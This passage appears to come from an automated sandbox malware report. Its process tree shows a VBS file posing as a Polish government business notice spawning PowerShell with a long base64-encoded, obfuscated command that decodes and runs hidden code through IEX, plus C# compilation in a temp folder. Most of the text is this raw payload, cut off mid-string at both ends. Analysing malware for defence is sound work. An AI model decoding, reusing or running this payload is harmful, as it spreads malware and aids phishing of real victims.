ByACgAJABpAD0ANQA7ACAAJABpACAALQBsAHQAIAAkAEEAbABlAG0AaQB0AGUAYQBkAC4ATABlAG4AZwB0AGgALQAxADsAIAAkAGkAKwA9ACgANQArADEAKQApAA0ACgB7AA0ACgAJAA0ACgAJACQAdgBvAGwAdABlACAAPQAgACQAdgBvAGwAdABlACAAKwAgACQAQQBsAGUAbQBpAHQAZQBhAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAaQAsACAAMQApAA0ACgAJAA0ACgAJAGkAZgAgACgAJABBAGwAZQBtAGkAdABlAGEAZAAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABpACsAMQAsACAAMQApACAALQBlAHEAIAAiAGAAbgAiACkAIAB7AA0ACgAJAAkAJAB2AG8AbAB0AGUAIAA9ACAAJAB2AG8AbAB0AGUAIAArACAAIgBgAG4AIgANAAoACQAJACQAaQAgAD0AIAAkAGkAIAArACAAMQANAAoACQB9ACAACQANAAoACQAJAA0ACgAJAA0ACgB9AA0ACgANAAoADQAKAEkARQBYACAAJAB2AG8AbAB0AGUADQAKAA=="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3976
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\uxxnwtit\uxxnwtit.cmdline"
    3⤵
    PID:1108
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3C87.tmp" "c:\Users\Admin\AppData\Local\Temp\uxxnwtit\CSC7605EB07A3A544E58E7834BBBB91C050.TMP"
      4⤵
      PID:3516

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Biznes.gov.pl - NOWE POWIADOMIENIE.vbs"
1⤵
PID:3340
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -e "JABBAGwAZQBtAGkAdABlAGEAZAAgAD0AIABAACcADQAKAEEAZgBkAGEAbQBBAEwAaQBuAGoAZQBkAEIAbwByAHQAcwBkAGUAdQBmAG8AcgAtAFAAYQBzAHQAaQBUAHMAcABhAGQAYQB5AFAAcgBlAGoAdQBwAEEAYwByAG8AYwBlAEIAZQBmAGEAZQAgAGgAZQBsAGkAbwAtAFMAYQBkACAARgBUAEoAaQBsAHQAZQB5AFQAcgBhAG4AcwBwAEwAbgB0AGkAbABlAGgAbwB2AGUAZABEAFUAbABlAGoAbABlAEsAcgBlAGQAaQBmAFQAbQBtAGUAcgBpAFMAdQByAGgAZQBuAGQAZQBwAG8AbABpAFQAcgB5AHMAdAB0AEMAcgBvAHMAcwBpAE8AdgBlAHIAdABvAE8AdgBlAHIAbQBuAE8AbQBuAGkAYgAgAGMAbwBuAGcAZQBAAEkAcwBjAGUAbgAiAAoAUgBlAGYAcgBlAHUAUgBlAHMAcABpAHMAcwBrAGEAbgBkAGkATABhAG0AZQBuAG4AcgBvAG0AYQBuAGcAUwBoAG8AdQBzACAAQQBmAGUAbgBpAFMASABlAGwAbABlAHkAQwBvAG4AcgBhAHMAVABoAGkAZwBtAHQAQQBuAHQAaQBoAGUAUwB0AGEAdABpAG0AUwBvAHYAZQBwADsACgBpAGsAdAB5AG8AdQBLAG4AeQB0AHQAcwBjAG8AbQBwAHUAaQBEAGkAcwBlAG4AbgBBAGQAZQBsAHMAZwBHAGUAbgBuAGUAIABTAHIAbABpAG4AUwBQAGEAcgBzAG8AeQBVAG4AYQBzAHAAcwBGAHkAcwBpAHUAdABJAG4AdABlAHIAZQBNAGUAdABhAGwAbQBVAG4AcgBlAGYALgBXAGEAcwBhAGIAUgBDAGEAdgBlAHIAdQBUAGUAcgByAG8AbgBIAGUAcgByAGUAdABBAGYAcwB0AG4AaQBQAHIAZQBkAGUAbQBCAGUAZAB1AGkAZQBIAG8AbgBuAGkALgBQAG8AcwBlAG4ASQBBAG4AYQBuAHQAbgBXAGkAbgBuAGUAdABMAHUAZgB0AGgAZQBVAG4AZAB1AGwAcgBTAGsAaQBuAGQAbwBVAHMAeQByAGUAcABBAGYAZwByAGkAUwBBAHUAcgBlAG8AZQBuAGUAdQByAG8AcgBQAGgAZQBhAHMAdgB0AHIAYQBnAGkAaQBhAGwAZgBhAGUAYwBVAGQAcgBqACAAZQBSAGkAbgBnAG4AcwBiAGkAYgBsAGkAOwAKAEEAdQB0AG8AbgBwAEIAZQBzAHQAeQB1AGsAcgBhAG4AZQBiAEcAdQBsAGQAYQBsAFQAYQBuAHQAZQBpAE8AdQB0AGIAdQBjAEQAcgBpAGYAdAAgAEsAbwBuAHMAdABzAFIAZQBtAGEAcgB0AFIAYQBwAHMAbQBhAHMAcABsAGUAbgB0AEYAZQBzAHQAcwBpAFUAZABmAGwAZABjAEYAcgBhAHQAZQAgAFMAcABhAGQAZQBjAEIAcgBpAG4AdABsAFAAbwBjAGgAZQBhAE0AdQBsAHQAaQBzAEYAbwByAHMAdABzAFMAawBsAHMAawAgAEYAbwByAHMAdABjAFMAdAByAGEAbgBlAE0AZAByAGUAaABsAEwAZQBhAGQAcwBsAGkAbQBkAGUAZwBvAFcAaQBsAGwAbwAxAAoAUgBlAGwAaQBlAHsAQgBvAGIAYwBhAFsASwB1AGwAZQBnAEQAVAByAGEAZgBpAGwARwB1AGQAZQBsAGwASABqAG8AcgB0AEkASwBlAHIAbgBlAG0ASwByAGEAbgBpAHAAQwBpAHYAaQBsAG8ATgBvAG4AZwBhAHIASwBhAHQAYQBzAHQARABpAHMAcwB3ACgAQgBlAGEAdQBmACIATQBpAHMAcwBpAEEARgByAGkAZwBqAEQASAB5AHAAaABlAFYARQBuAGQAYQBuAEEAUwB2AHIAZABzAFAAUAByAGUAYwBvAEkARgBvAHIAZABsADMARQBmAHQAZQByADIAUwBuAGUAbQBhAC4ARQBuAHMAdwBhAEQAQQBiAGMAZQBuAEwARgBlAGwAZABzAEwAYQByAGIAZQBqACIATABsAGkAbgBnACkASQBjAGgAbgBlAF0AVABhAGMAaAB5AHAAVQBuAGQAZQByAHUASwBuAHMAYgBlAGIAQgB1AG0AcwBlAGwAUgBlAGgAYQByAGkAQgByAHQAcwBlAGMARABvAHoAZQBuACAAbQBhAGkAcwB0AHMAQgBlAGgAZQByAHQARwBlAGkAcwBzAGEATQBlAGkAbwB0AHQAUwBrAG8AbABlAGkAYgBvAHMAdABlAGMARQBzAG8AcABoACAAVgBlAG4AcwBrAGUAQwByAGkAYgByAHgARAB1AG8AYwBvAHQARQBuAGEAcgB0AGUASwBrAGsAZQBuAHIATQBhAHIAZwBpAG4ARwBhAHIAdgBlACAAVAByAGsAdQBsAGkASwBpAHQAdABpAG4AdQBuAHMAZQBuAHQAQgBpAG8AZgBhACAARABpAHIAaQBnAFIAQQBmAGsAbABpAGUAQgByAGEAcwBlAGcARwBhAHIAbgBlAEQAUgBhAHAAcwBtAGUAQwBhAHIAaQBuAGwAQgByAG4AZABzAGUAQQB6AGkAbwBsAHQAcAByAG8AZgBlAGUAbgBvAHQAbwBjAEsAQwB5AGwAaQBuAGUAUwBrAHIAaQB2AHkAVgBhAGEAZwBuACgASQBuAHQAaQBtAGkARgBlAGQAZQByAG4AVAByAGkAdgBlAHQAcwBwAGUAYwBpACAAcgBvAHMAZQBhAFMATQBhAGsAcgBvAGwARgBpAG4AZABqAHUASgBlAG4AdAByAHQAQwBvAG0AaQBjACwASwB1AG4AZABlAGkAcABzAGUAdQBkAG4AQgBlAGwAZwBuAHQAVABpAGwAcwB0ACAAUABhAHIAdABsAE4AUwBrAG0AdABlAG8ASABlAGwAcwBpAG4ATQBhAHQAcgBpACkAUwB0AGkAZwBtADsACgBTAHcAaQBzAHMAWwBlAHIAcwB0AGEARABGAHUAbgBrAHQAbABQAGgAYQBzAGkAbABkAGUAbABzAHQASQBCAGUAZABrAG4AbQBDAG8AeQBwAG8AcABTAHYAYQBuAHMAbwBIAGkAbABzAGUAcgBBAGQAZQBuAGEAdABEAGkAcwBwAHIAKABTAGUAeABvAGwAIgBuAG8AbgByAGUAawBPAHYAZQByAGQAZQBLAG8AbwByAGQAcgBHAGUAbgBmAG8AbgBTAGEAYgByAGUAZQBIAG8AbQBlAGIAbABUAHMAawAgAFAAMwBTAGsAbwB2AHMAMgBBAGMAcgBhAGwAIgBDAGgAYQBwAGUAKQBpAG4AZABiAHkAXQBGAG8AcgBlAHMAcABTAG8AYwBpAG8AdQBlAG4AdABlAHIAYgBCAHIAYQBjAGUAbABUAGEAawBrAGUAaQBJAHMAbABhAHkAYwBTAHUAbQBtAGUAIABTAGwAaQBwAGMAcwBTAHAAZQByAGcAdABNAGEAcgBiAGwAYQBUAHYAYQBuAGcAdABCAHIAZQBjAGgAaQBBAGsAawB1AHMAYwBJAHAAbQAgAEQAIABTAGsAaQBuAGQAZQBBAGIAcwB1AHIAeABGAHUAbABkAGIAdABhAHIAYgBlAGoAZQBIAGUAdABlAHIAcgBHAG8AYQB0AHAAbgBSAGUAdgBlAHIAIAB1AGQAYgB5AHQASQBUAGEAbABvAG0AbgBKAGkAbQBtAHkAdABQAHMAeQBjAGgAUABTAHQAaQBsAGwAdABWAGkAawBpACAAcgBLAG8AbgB0AHIAIABCAHIAdAB0AGUARQBSAGUAdAByAGEAbgBUAHIAYQBjAGgAdQBPAHIAZAByAGUAbQBQAGEAbgBkAGEAUwBQAHIAbwBiAGwAeQBUAHUAcwBrAGgAcwBOAG8AbgBjAG8AdABBAGYAdABlAHIAZQBHAHIAZQBuAGEAbQBEAG8AcwBhAGcATABHAGEAbQBiAGkAbwBDAG8AdQBuAHQAYwBSAGUAbgBzAGQAYQBCAGEAcgBvAG0AbABXAGgAbwBzAGkAZQBQAHIAZQBzAHQAcwBMAGUAcABpAGwAQQBWAGUAbAB2AGUAKABPAHAAdgBhAHIAdQBTAGgAbwB1AGcAaQBUAHIAZABlAHMAbgBtAG8AbQBtAGEAdABCAGwAYQBhAGwAIABBAHIAaQBzAHQAdgBBAG4AaQBzAGIAMQBTAHUAYgBsAGkALABGAGkAbgBwAHUAaQBNAG8AYQB0AGUAbgBBAGYAYQBzAGkAdABDAGgAYQBtAHAAIABVAG4AZwByAHUAdgBTAHQAZQBkAGIAMgBNAGUAbABsAGUAKQBQAGgAeQBzAGkAOwAKAE0AbwBuAHUAbQBbAE8AeAB5AGcAZQBEAFAAZQB0AGUAeQBsAE8AcABnAGEAdgBsAEEAZgBtAGUAagBJAHUAbgBkAGUAcgBtAFQAbwBhAGQAcABwAFMAdABpAGcAbQBvAEsAdQBsAGQAZQByAEMAeQBtAHUAbAB0AFMAawBpAGYAZQAoAEsAYQB0AGEAbAAiAFMAaQBuAHQAZQB1AFQAYQBiAGUAbABzAEYAbwByAGQAYQBlAEIAbwBlAHIAIAByAEIAbABhAGMAawAzAEUAcABpAGcAcgAyAEEAbABhAG4AcwAiAEQAcgBpAGYAdAApAEwAdgBmAHIAIABdAEgAdQBtAGUAYQBwAFIAbwBhAGQAYwB1AEkAbgB0AGUAcgBiAFIAZQB2AGEAbABsAFUAZABhAG4AbgBpAG8AcABzAGwAbQBjAFoAYQBuAGkAbgAgAEMAcgBvAGMAawBzAEsAYQB0AGUAZAB0AEMAbABpAG4AaQBhAFYAYQBsAGUAcgB0AEgAaQBuAHQAZQBpAE0AbwBuAGcAcgBjAEEAcwB0AHIAbwAgAEYAbAB1AGYAZgBlAFAAcgBlAGcAcgB4AFQAaAByAGkAbgB0AEYAcgBhAHoAZQBlAEsAcABwAGUAbgByAFIAaQBnAGgAbwBuAFUAZABlAG0AaQAgAEYAaQByAG0AYQBpAEkAbQBkAGUAZwBuAFMAZQBsAHMAawB0AEcAaQBsAGIAZQAgAE0AaQBkAHcAaQBEAE0AaQBzAGIAZQBkAEkAbQBwAG8AdgBlAFIAZQBuAHMAZABHAFUAbgBzAGwAYQBlAEIAZQByAGUAdAB0AFIAbwB1AHAAaQBMAFUAbgBkAGUAcgBhAEgAbwBsAHkAZABzAFEAdQBhAGQAcgB0AHMAcABpAGwAZABFAEYAbwBkAGUAcgByAFAAYQB1AHAAZQByAE8AdgBlAHIAdgBvAEgAbwB2AGUAZAByAEMAYQBsAHYAYQAoAEIAYQByAGkAdQBpAEEAZgB0AGUAbgBuAEIAZQBuAHoAYQB0AGcAZQBvAGcAcgAgAG8AdQB0AHMAcABIAEMAaABpAGwAaQBqAHAAZQByAGMAZQBsAEkAbgBkAGIAcgApAEIAbwByAHQAcwA7AAoAVQBuAGQAcgBpAFsARQBzAHQAbwBuAEQARgBlAGwAdABoAGwAQQB1AHQAbwBvAGwAQgByAGUAdAAgAEkARQBmAHQAZQByAG0AcAByAGUAYgBlAHAAVQBuAG4AbwBjAG8ATABhAGcAZQByAHIATgBvAG4AbwBiAHQAUwB1AHMAcABlACgAVABlAGsAcwB0ACIAQQBpAHIAYwByAHUAUwBuAHUAcgByAHMARQB4AGMAbABhAGUAVwBhAGcAZwBvAHIAVABlAHAAbwBzADMARQBrAHMAdABlADIASwBpAG8AcwBrACIATABhAHMAdABuACkARABpAGwAYQB0AF0AUwB5AG4AbwByAHAAawB1AGwAdAB1AHUAUwBjAHIAZQBlAGIARgBvAHIAcwB0AGwAQgB1AHMAaABsAGkAUgB1AHMAdABrAGMAUABzAGUAbABhACAATQB1AGwAdABpAHMAVAByAGkAYwBoAHQAQgBlAHYAcgB0AGEAVABpAGwAcwBrAHQAcABvAHIAdABpAGkATAB1AG0AcABpAGMASABhAGwAaQBvACAAUAByAGUAdgBlAGUAQQByAGIAZQBqAHgAQQBjAGMAdQBzAHQATwByAHQAaABvAGUAUgBlAHYAZQBhAHIARwB1AG4AdABlAG4AUwBwAGEAbAB0ACAARgB1AHQAdABlAGkAQQBuAGQAZQBuAG4AQgBvAG4AcwBlAHQARABvAHIAYQBzACAATABpAG0AbgBlAFMARABlAHMAdABhAGUAVgBlAG4AZQByAHQAVwBlAGwAYwBoAFMARAB1AGwAYwBpAHkAQQBmAGYAaQBuAHMAQQBuAHgAaQBvAEMATABkAHIAZQByAG8AUABvAGkAcwB0AGwAUwB0AHIAYQBhAG8ARgByAG8AcwB0AHIAdABhAHUAdABlAHMAQQBuAHQAZQBuACgAUABhAHAAaQByAGkATABpAG4AagBlAG4AQwBhAG4AZQBsAHQAYgBhAHMAaQBzACAAcgBlAGwAYQBkAFMAQgB1AGsAbgBpAGUAVwBvAGwAZgBzAG0AQQBzAGsAZQByAGkAQgBlAG4AZwBsACwAUAByAGkAegBlAGkAUgB1AHMAdABzAG4AYwB5AGMAbABvAHQAQgBlAGwAYQB5ACAAbQBhAHQAZQByAFkAVwBvAG8AZABiAGUAUABvAHQAcwBpAG4AUwB1AHAAZQByAGkARgBsAG8AbwBkACwARgBhAHIAbQBzAGkAbgBvAHYAZQBuAG4AUABvAHQAZQBuAHQAYQByAGIAZQBqACAAdwBoAGkAegB6AFMASQBzAHQAYQBuAHUAbwB2AGUAcgBrAGIARABtAG8AbgBpAGQATABvAHQAYQBzADcATwBtAHAAbABhADQAUgBlAGwAZQBnACkAUwBlAHAAdABzADsACgBDAGUAbABsAGUAWwBJAG4AdABlAHIARABTAHQAdQBtAHAAbABTAHUAYgBlAG4AbABTAGEAZABvAG0ASQBJAG4AbwBtAHkAbQBMAGUAdQBjAG8AcABOAGEAaABvAHIAbwBQAHIAbwB0AHUAcgBIAGkAZQByAGEAdABGAGwAYQByAGUAKABBAG4AdABpAG8AIgBGAGwAeQBkAG4AawBTAHUAYgBsAGUAZQBBAHMAdAByAGEAcgBjAGgAaQBuAGEAbgBQAGEAbABsAGUAZQBGAGwAYQBhAGQAbABlAGwAZQBrAHQAMwBKAG8AdQByAG4AMgBTAHQAZQBuAHQAIgBSAGUAcABlAHIAKQBDAG8AbABsAGUAXQBDAG8AcABpAGUAcABNAGkAZwBoAHQAdQBSAG8AcwB2AGkAYgBNAGkAcwBiAGkAbABJAG0AcABhAHIAaQBTAHUAYgBqAG8AYwBCAHIAZQBhAHMAIABNAGUAbgB1AGkAcwBPAHAAcwB2AGkAdABwAGkAcwB0AGkAYQBCAG8AYgBlAHMAdABDAGEAbgBjAGUAaQBLAGEAbABmAGEAYwBSAGUAdABhAGkAIABIAHkAZwBpAGUAZQBQAHAAbQAgAFUAeABpAG0AbQBpAG4AdABCAGUAcwBrAHkAZQBBAGQAbQBpAHIAcgBQAGUAZwB3AG8AbgBNAGEAbQBtAG8AIABUAGkAZABzAGYAaQBTAGEAbAB0AGUAbgBTAHQAZQBkAHMAdABDAGwAYQByAGsAIABJAG4AZABsAGUAVgBUAGEAbABlAHMAaQBVAG4AZgByAHUAcgBQAHIAZQBuAHUAdABTAHUAYgBtAGkAdQByAGgAYQBiAGQAYQBEAGkAcwBrAGEAbABBAGMAYwBsAGkAQQBTAGUAbgBlAHMAbABaAGUAYQBsAGEAbABCAGEAYQB0ACAAbwBTAGkAawByAGkAYwBTAG0AaQBsAGUAKABDAG8AbgBkAHUAaQBTAGsAdQBiAG8AbgBLAGEAcgBlAGwAdABEAG8AYwB0AG8AIABVAG4AYgBlAGwAdgBTAHQAYQBwAGwAMQBTAG8AYwBrAGgALABSAGUAdQBwAGgAaQB0AGUAdABhAHIAbgBQAGgAcgBhAHMAdABlAG0AcABpAHIAIAB1AGQAbQBhAHIAdgBPAHAAcwBpAGcAMgBBAG4AdABpAHQALABMAGUAYQBkAHcAaQBBAG0AeQBsAG8AbgBpAG4AcwBhAHQAdABVAG4AcgBlAHAAIABCAGwAaQBuAGQAdgBnAHMAdABlAHAAMwBPAHUAdgByAGkALABUAGYAdAAgAFMAaQBBAGQAZwBhAG4AbgBUAGkAbABzAHkAdABUAHIAYQBuAHMAIABOAG8AbgBjAGEAdgBtAGkAcwBjAGEANABQAGEAcgBpAHMAKQBoAGEAdABjAGgAOwAKAFMAbgBvAHcAYgBbAFUAZABkAGEAbgBEAFcAaQBuAG4AbwBsAFYAaQBsAGoAZQBsAE4AZABsAGEAbgBJAEMAbwBwAHkAZABtAGYAbwByAG4AZABwAE8AYQBrAGwAYQBvAEsAYQBtAGkAawByAEMAcgB1AGMAaQB0AEEAdABvAG0AcwAoAFMAdABvAGYAdAAiAEsAcgBlAG0AZQBtAFMAawBvAHYAbABwAEkAcwBvAHQAcgByAEcAZwBlACAASQAiAE0AYQB4AGkAbAApAE0AZQBmAGkAcwBdAEQAbwBrAHUAbQBwAEQAaQByAGUAYwB1AFMAawByAGUAZABiAEwAYQBzAGsAZQBsAEUAZgB0AGUAcgBpAE8AbQBnAG4AZwBjAEkAbgBkAHQAcgAgAEsAbwBtAG0AcABzAEIAbABkAGcAcgB0AFMAeQBtAHAAdABhAHQAcgBhAG4AcwB0AEgAbwByAG8AbABpAFQAaQBsAGIAYQBjAFYAaQByAGkAbAAgAE0AYQB5AGIAZQBlAEYAbwByAGIAZQB4AEUAcABoAGUAYgB0AFIAaQBnAGEAdQBlAEEAZgBkAHIAeQByAEIAcgBuAGQAcwBuAFQAeQBrAGgAYQAgAE4AbwBuAHUAcABpAFAAYQBuAHUAcwBuAFAAbABhAHAAcgB0AEoAbwBsAHQAaQAgAFAAbwBlAHQAaQBXAGUAawBhAGMAYQBOAEQAaQBzAHAAbABlAEkAbQBwAGwAaQB0AFYAYQBzAG8AcwBHAEYAYQB0AHcAYQBlAHQAZQBsAG8AbQB0AFMAdAByAGsAbgBVAE0AdQB0AHQAZQBuAEIAaQBkAHIAaQBpAEoAdQBuAHQAbwB2AFMAdQBwAGUAcgBlAEYAdQB0AHUAcgByAEIAbwBuAGQAZQBzAEsAZQBuAG4AaQBhAEcAeQBwAHMAaQBsAGQAbwBqAGkAZwBOAFAAcgBlAHQAYQBhAFQAaQBsAHMAawBtAHMAdABpAGMAawBlAFIAYQBpAG4AbQAoAFUAaQBtAG8AZABpAE0AYQBuAHUAZgBuAEYAbwByAGgAcgB0AEUAeABlAHUAbgAgAEsAYQByAGUAdABTAFIAbwBuAGkAYQBhAFMAeQBtAGIAbwBtAEIAcgBrAGEAZwAsAEIAZQB2AGkAbgBpAE0AeQBjAGUAbABuAFMAdQBwAGUAcgB0AFUAbgB3AGEAcwAgAFMAcABlAGMAaQBUAFUAbwBwAG0AcgBhAFMAcABpAGwAZABhAHMAYQBuAGUAcgAsAEMAYQBuAHQAaQBpAE0AZQBuAGQAZQBuAEUAbgBnAGUAbgB0AEEAZQBtAGkAbAAgAGMAZQBtAGUAbgBJAEsAYQBuAGQAaQBtAFMAawBpAG4AbgBwAFMAZQByAHIAYQBpAE0AaQBzAHUAcgBuAFUAbQBpAG4AZAAsAHYAYQBnAHQAbQBpAEwAYQBmAGcAaQBuAFQAZQBsAG8AdAB0AHMAcAByAGEAdwAgAEwAdQBtAHAAcwBBAEYAbwByAGIAaQBmAFYAZQBrAHMAZQBzAEkAcwBvAGwAZQB0AFcAaABlAHIAZQAyAEIAaQByAGsAZQAyAHQAZQByAG0AaQAyAFMAdgBhAGwAZQApAEsAbwBuAGYAdQA7AAoAUwBrAHYAZQByAFsAVABhAHIAdAB1AEQASABhAHYAZQBoAGwARABlAGsAbABpAGwATwBuAGMAYQAgAEkARwByAG4AcwBlAG0ARgByAGkAdABhAHAAUABvAHMAdABlAG8AUwB1AGIAcQB1AHIAQgBhAGwAbABvAHQASQBuAHMAZQBjACgARwBhAHIAaQBrACIAVABlAHUAYwBoAEEATwBiAHQAZQBjAEQAcAByAGUAbQBvAFYAUwBjAGEAbgBkAEEAUAByAG8AZwByAFAAQQByAHYAZQBtAEkAVABpAGQAcwBoADMATABwAGwAYQBuADIAQgBhAGwAbABvAC4ATQB1AGMAcgBvAEQATwB1AHQAZAByAEwAUwB0AGkAdgBlAEwAQQBuAGEAawBpACIASwBvAGwAaQBiACkAVABpAGQAbwBiAF0AUgBhAGQAaQBhAHAAVQBkAHYAYQBlAHUAUgBpAHQAdQBhAGIATQBvAHQAYQB6AGwAUwB1AGIAdAByAGkATgBlAHAAaAByAGMAdABlAGwAZQBmACAARAByAGUAagBlAHMATwBtAGYAYQB0AHQARwBlAG8AYgBsAGEAVQBkAGgAbgBnAHQAQQBuAHQAZQBvAGkARABlAHMAYwByAGMAVgBhAGYAbABlACAATwByAGkAZwBpAGUAVgBhAG4AZABzAHgASQBuAGQAZABhAHQAUwBtAGEAYQBiAGUAUABsAHUAcwBoAHIASwBpAGwAbgBlAG4ARQB0AGgAYQBuACAAVgBpAGQAdQBhAGkAQQByAHQAaQBmAG4AUAB1AGcAYQByAHQAUAB1AHAAaQBmACAARABlAGwAZQBnAEEAQQBjAGMAdQBiAGIATwB2AGUAcgBkAG8AUAByAGUAZwBhAHIAUABsAHkAbgBkAHQASQBuAHQAZQByAFMAUAByAGkAcwBzAHkAQgBpAGIAZQBsAHMAYQBuAGsAZQBjAHQARQBwAGgAZQBtAGUAUgBlAHMAbwBjAG0AcwBtAGEAZwBzAFMASQBuAGQAcwBwAGgAVwBhAGkAZwB1AHUAVgBhAHIAZQBsAHQAYQBuAGEAYwBvAGQAQgByAG8AZABlAG8ATwBiAHMAawB1AHcAQQByAHMAZQBuAG4AcwB0AGEAcgBzACgASABhAHIAdgBlAGkAQQBuAGcAbABpAG4ATABuAGsAZQBoAHQATAB1AGMAcgBpACAARgBhAGUAcgBvAEQAUwB1AGIAdAByAHUAUwBwAGUAYwBpAGUAUABvAGwAYQByACkASwBvAGwAbwBuADsACgBGAGkAbABpAHMAWwBNAG8AcgBlAGkARABQAGEAYQBzAGsAbABVAG4AbQBlAHQAbABIAHkAbABkAGUASQBEAG8AZwBnAHIAbQBIAGUAbABmAGwAcABaAG8AZQB0AHIAbwBSAG8AdQB0AGUAcgBVAHIAZgBqAGUAdABUAG8AdABlAG0AKABVAG4AaQB2AGUAIgBJAHIAcgBhAGQAdQBFAGYAdABlAHIAcwBTAHQAdgBrAG8AZQBDAG8AbQBwAHIAcgBLAGEAbgBkAGkAMwBQAHIAZQBhAGQAMgBNAHUAbQBtAGkAIgBTAG8AcgBhAG4AKQBQAGEAcgBsAGEAXQBCAGkAbwBuAGkAcABIAGUAbQBtAGUAdQBGAGEAbgBnAG8AYgBLAGEAdABzACAAbABZAGEAawBvAG4AaQBVAG4AdwBhAHIAYwBHAHUAZABlAG4AIABBAGYAZgBlAGoAcwBTAGEAbQBsAGUAdABCAGEAdAB0AGEAYQBBAG4AZAByAGUAdABkAGEAZwBwAGEAaQBEAGEAbQBwAGsAYwBTAGUAbABpAG4AIABDAGwAbwBkAGgAZQBSAG8AcgBwAGkAeABSAGUAYwBvAG0AdABNAGUAcgBvAGQAZQBUAGUAbABlAG0AcgBCAHIAYQBjAGgAbgBLAG8AbQBtAGEAIABkAHIAbwBzAGsAaQBTAHAAcgByAGkAbgBIAG8AdgBlAGQAdABDAGwAZQBhAHIAIABGAHIAZQBvAG4ARwBNAG8AbgBpAGMAZQB1AGQAbABlAGoAdABWAGUAcgBzAG0AUABHAGUAbgB1AGQAcgBTAHkAZABrAHkAbwBBAHMAZQBpAHMAYwBCAG8AdwBuAGUAZQBUAHIAbwBtAG0AcwBCAG8AdQB6AG8AcwBpAG4AZgB1AHMAVwBPAHYAZQByAGQAaQBEAGkAcwBpAGwAbgBTAGMAaABhAHYAZABkAHUAbQBwAGkAbwBBAG4AZAByAG8AdwBQAG8AYQBjAGgAUwBqAGUAbgBmAG8AdABFAG4AYwBlAHAAYQBPAHAAcwBsAGkAdABIAGUAeABhAGQAaQBDAGgAZQBmAGkAbwBrAG4AawBnACAAbgBLAG8AaQBuAGMAKABBAG4AYwB5AGwAKQBMAGUAdABjAGgAOwAKAEgAdgBpAHMAawBbAEIAYQBkAHUAbABEAGwAbwBkAHMAZQBsAEQAYQBpAG4AdABsAEQAaQBzAGMAbwBJAFMAdgBrAGsAZQBtAEcAaABlAHIAYQBwAFAAcgBvAHQAbwBvAFUAbgBhAHQAdAByAEYAbABsAGUAcwB0AFQAZQBhAGsAdAAoAFAAYQBwAGUAZwAiAEMAaABhAGkAdAB3AEYAbAB1AG8AcgBpAEkAbgBkAGUAYwBuAFIAZQB2AGEAbgBzAFAAZQBuAHQAYQBwAEMAcgB5AHMAdABvAFUAbQBpAHMAZgBvAEcAbAB1AHQAZQBsAEsAYQBzAG0AIAAuAEYAaQByAGUAcABkAFMAcQB1AGEAdwByAEYAYQBuAGUAbgB2AFMAcABpAHQAZQAiAFMAdQBwAGUAcgApAFAAYQBjAG8AcgBdAEYAagBlAHIAawBwAFAAaQBsAGsAbwB1AFMAZQByAHYAaQBiAE4AYQB0AHQAeQBsAEEAaQBtAGwAZQBpAE4AbwBtAGEAZABjAEwAYQBtAGEAcgAgAEcAaQBkAGQAZQBzAE0AbwBuAGEAcgB0AFQAYQB1AG0AIABhAFAAbwBsAHkAegB0AFAAYQByAGEAcwBpAFIAdQBtAG8AdQBjAFMAawBpAGIAZQAgAE0AZQBkAGkAYQBlAFUAbgBwAGUAZwB4AFAAdABlAHIAeQB0AFMAYQBtAGYAdQBlAEYAbwByAGIAcgByAEUAdQBjAGgAcgBuAEMAbwBtAHAAbwAgAFMAcwB0AGUAcgBpAFIAYQBhAGUAcgBuAE0AYQB0AGUAcgB0AHIAbwB1AGcAaAAgAFcAbwBvAGYAZQBFAEIAZQBnAHIAaQBuAFMAawBpAGIAcwB1AFAAYQByAGEAcwBtAFcAaQBjAGsAZQBQAEYAaQBsAHQAZQByAFMAdQBiAGUAbQBpAFEAdQBpAHQAcgBuAFUAZABzAGsAcgB0AEsAdgBhAGQAcgBlAEQAaQBhAHAAaAByAFQAaQBuAHcAYQBQAEMAcgBvAHMAcwByAEIAaQBsAGEAZwBvAE8AbAB1AGYAZgBwAFIAaABhAHAAaQBlAEwAdQBmAHQAdAByAE8AcwB0AGUAbwB0AFYAaQBjAGUAYQB5AFkAZABlAHIAaQBTAFQAcgBhAGcAaQBoAFMAdABpAGcAbQBlAEcAYQBtAGwAaQBlAFAAcgBlAGQAaQB0AE4AbwBuAHoAbwBzAEEAbgBzAGUAbAAoAFQAYQBrAHQAcgBpAEYAbwByAGYAYQBuAFMAZQBxAHUAZQB0AFQAcgBpAG4AZQAgAFUAcABmAHIAYQBCAGcAZQBsAG8AcwBhAFMAcAByAGkAbgByAEQAZQBsAHIAZQAsAFMAaQBuAGsAaQBpAEkAbgBkAGIAZQBuAEUAbgBlAHIAZwB0AFMAdABvAHMAbgAgAE4AbwByAGQAZgBIAFQAcgBhAHUAbQBlAEsAdgBkAGUAcgBpAEMAaABhAHAAdABsAHAAZQBlAHcAZQAsAEcAbABpAGQAaQBpAEIAZQBoAGEAbgBuAEgAdQBsAGsAbwB0AEMAbwBuAHQAcgAgAEEAdQB0AG8AcABjAEoAdQBsAGUAbABhAE0AaQBsAGwAaQBsAEEAbABsAGUAeQAsAFIAbwBtAGEAbgBpAEUAbQBiAGUAbABuAHAAcgBlAG0AaQB0AFQAaQBsAHMAaQAgAEUAcQB1AGkAdgBPAEcAcgB1AGIAIABmAEYAcgBpAHMAZQBmAEMAbwBuAHMAcABzAEIAdQB0AGkAbgBjAFMAawBvAHIAcwBhAGsAbABvAHMAaAAxAFAAbwBsAHkAcAA5AEYAbABpAGcAcwA0AE0AbgBlAG0AbwApAE0AdQBsAHQAaQA7AAoAWABlAHIAbwB0AFsAUAB1AG4AdABzAEQARABpAGEAbQBvAGwAVgBhAG4AZABwAGwAdQBuAG0AYQBzAEkARQByAGgAdgBlAG0AQwBvAGcAbwBuAHAAUwBpAGsAc